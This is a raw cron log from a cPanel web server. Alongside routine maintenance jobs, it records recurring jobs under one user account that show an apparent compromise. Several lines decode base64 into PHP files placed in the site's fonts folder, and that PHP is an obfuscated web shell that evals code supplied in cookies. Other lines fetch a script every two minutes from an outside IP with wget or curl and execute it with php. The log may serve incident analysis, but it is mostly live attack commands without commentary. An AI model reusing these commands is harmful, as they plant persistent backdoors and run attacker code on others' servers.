Sep 10 21:42:01 ip-184-168-122-23 CROND[14404]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 21:43:01 ip-184-168-122-23 CROND[14490]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 21:43:01 ip-184-168-122-23 CROND[14493]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 21:43:01 ip-184-168-122-23 CROND[14492]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:43:01 ip-184-168-122-23 CROND[14494]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:44:01 ip-184-168-122-23 CROND[14586]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 21:44:01 ip-184-168-122-23 CROND[14587]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 21:44:01 ip-184-168-122-23 CROND[14591]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:44:01 ip-184-168-122-23 CROND[14592]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:44:01 ip-184-168-122-23 CROND[14590]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 21:45:01 ip-184-168-122-23 CROND[14758]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 21:45:01 ip-184-168-122-23 CROND[14759]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:45:01 ip-184-168-122-23 CROND[14764]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:45:01 ip-184-168-122-23 CROND[14761]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 21:45:01 ip-184-168-122-23 CROND[14762]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 21:45:01 ip-184-168-122-23 CROND[14765]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 21:46:01 ip-184-168-122-23 CROND[14862]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:46:01 ip-184-168-122-23 CROND[14863]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 21:46:01 ip-184-168-122-23 CROND[14866]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 21:46:01 ip-184-168-122-23 CROND[14867]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 21:46:01 ip-184-168-122-23 CROND[14868]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 10 21:46:01 ip-184-168-122-23 CROND[14872]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 21:46:01 ip-184-168-122-23 CROND[14873]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:47:01 ip-184-168-122-23 CROND[14987]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 21:47:01 ip-184-168-122-23 CROND[14991]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:47:01 ip-184-168-122-23 CROND[14994]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:47:01 ip-184-168-122-23 CROND[14993]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 21:48:01 ip-184-168-122-23 CROND[15081]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 21:48:01 ip-184-168-122-23 CROND[15083]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 21:48:01 ip-184-168-122-23 CROND[15085]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 21:48:01 ip-184-168-122-23 CROND[15086]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:48:01 ip-184-168-122-23 CROND[15084]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:49:01 ip-184-168-122-23 CROND[15180]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:49:01 ip-184-168-122-23 CROND[15183]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:49:01 ip-184-168-122-23 CROND[15182]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 21:49:01 ip-184-168-122-23 CROND[15184]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 21:50:02 ip-184-168-122-23 CROND[15273]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 21:50:02 ip-184-168-122-23 CROND[15274]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 21:50:02 ip-184-168-122-23 CROND[15277]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 21:50:02 ip-184-168-122-23 CROND[15278]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 21:50:02 ip-184-168-122-23 CROND[15279]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 21:50:02 ip-184-168-122-23 CROND[15280]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:50:02 ip-184-168-122-23 CROND[15283]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:50:02 ip-184-168-122-23 CROND[15282]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 21:50:02 ip-184-168-122-23 CROND[15281]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 21:51:01 ip-184-168-122-23 CROND[15372]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:51:01 ip-184-168-122-23 CROND[15375]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 21:51:01 ip-184-168-122-23 CROND[15373]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 21:51:01 ip-184-168-122-23 CROND[15374]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:52:01 ip-184-168-122-23 CROND[15542]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 21:52:01 ip-184-168-122-23 CROND[15544]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 21:52:01 ip-184-168-122-23 CROND[15545]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:52:01 ip-184-168-122-23 CROND[15546]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:52:01 ip-184-168-122-23 CROND[15547]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 21:53:01 ip-184-168-122-23 CROND[15629]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 21:53:01 ip-184-168-122-23 CROND[15632]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:53:01 ip-184-168-122-23 CROND[15630]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:53:01 ip-184-168-122-23 CROND[15631]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 21:54:01 ip-184-168-122-23 CROND[15712]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 21:54:01 ip-184-168-122-23 CROND[15713]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 21:54:01 ip-184-168-122-23 CROND[15718]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:54:01 ip-184-168-122-23 CROND[15717]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
